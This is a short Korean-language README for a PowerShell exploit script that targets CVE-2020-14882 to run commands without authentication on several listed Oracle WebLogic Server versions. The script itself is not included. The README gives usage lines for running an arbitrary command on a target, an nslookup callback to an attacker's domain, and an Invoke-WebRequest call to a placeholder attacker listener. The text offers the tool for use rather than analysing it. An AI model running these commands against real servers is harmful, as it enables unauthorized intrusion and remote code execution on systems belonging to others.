Oracle WebLogic 무인증 RCE 익스플로잇

이 PowerShell 스크립트는 CVE-2020-14882를 악용하여 다음 Oracle WebLogic Server 버전에서 인증 없이 원격 코드 실행을 수행합니다:

• 10.3.6.0.0
• 12.1.3.0.0
• 12.2.1.3.0
• 12.2.1.4.0
• 14.1.1.0.0

사용법

.\exploit.ps1 -target 'http(s)://target:7001' -command 'your_command'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'nslookup your_Domain'
.\exploit.ps1 -target 'http(s)://target:7001' -command 'powershell.exe -c Invoke-WebRequest -Uri http://your_listener'

참조

ExploitDB의 익스플로잇